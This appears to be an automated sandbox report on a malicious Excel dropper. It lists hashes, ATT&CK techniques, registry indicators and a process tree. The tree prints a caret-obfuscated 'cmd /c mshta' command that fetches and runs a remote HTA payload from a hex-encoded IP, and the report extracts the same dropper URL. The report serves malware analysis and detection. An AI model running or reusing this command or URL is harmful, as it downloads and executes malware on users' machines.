f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 17:42

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General

Target

f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66.xls
Size

141KB
MD5

5f882ff9989e2ce8cbf82f03a8776b2b
SHA1

45cc96bb668146c3f4269c5fcba482a77dff3ba4
SHA256

f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66
SHA512

b0db47e67659ec55b851aa86605673437805b123942c0c73af978cc9c268cc0f089e5ac34845520b1705135520bd258182df5ddec4229c6c141edff15ba35dcb
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2644	2520	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2796	mshta.exe
5	2796	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2520	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2520	EXCEL.EXE
2520	EXCEL.EXE
2520	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2852	2520	EXCEL.EXE	30
PID 2520 wrote to memory of 2852	2520	EXCEL.EXE	30
PID 2520 wrote to memory of 2852	2520	EXCEL.EXE	30
PID 2520 wrote to memory of 2852	2520	EXCEL.EXE	30
PID 2520 wrote to memory of 2644	2520	EXCEL.EXE	31
PID 2520 wrote to memory of 2644	2520	EXCEL.EXE	31
PID 2520 wrote to memory of 2644	2520	EXCEL.EXE	31
PID 2520 wrote to memory of 2644	2520	EXCEL.EXE	31
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2796	2644	cmd.exe	33
PID 2644 wrote to memory of 2796	2644	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2852
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2644
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2520-1-0x0000000072B5D000-0x0000000072B68000-memory.dmp

Filesize
44KB

Download
memory/2520-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2520-3-0x0000000072B5D000-0x0000000072B68000-memory.dmp

Filesize
44KB

Download